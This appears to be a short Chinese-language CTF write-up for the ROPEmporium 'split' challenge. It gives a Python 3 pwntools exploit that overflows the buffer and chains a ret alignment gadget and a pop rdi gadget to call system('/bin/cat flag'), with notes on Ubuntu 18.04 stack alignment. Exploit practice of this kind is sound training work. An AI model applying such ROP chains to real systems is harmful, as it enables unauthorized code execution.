split

上一次的坑这一次碰到了,ROPEmporium ret2win里面说当时函数无法成功运行,搜索的结果是十六进制对齐的问题。在那个问题里因为限定了读取的长度为50,而要进行对其至少要40 + 8*3 已经超过了。在这次遇到了这个问题

环境: ubuntu18.04 、 pwntools(py3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

elf = context.binary = ELF('split')

info('%#X system', elf.symbols.system)
system = p64(elf.symbols.system)

print_flag = p64(elf.symbols.usefulString)

io = process(elf.path)

payload = bytes('A','latin-1') * 40 # padding
payload += p64(0x400884) # ret; 16进制对其
payload += p64(0x400883) # gadget: pop rdi;ret
payload += p64(0x601060) # '/bin/cat flag'
payload += p64(0x4005e0) # systemaddr

io.sendline(payload)

io.recvuntil('> ')
flag = io.recvall()
print('FLAG: ' + str(flag,'utf-8'))

python3 版本的pwntools。

其中str转bytes处要用latin-1编码,是py3和py2的区别。

在gadget之前要添加一个ret,这里是ubuntu18.04的内存对齐问题。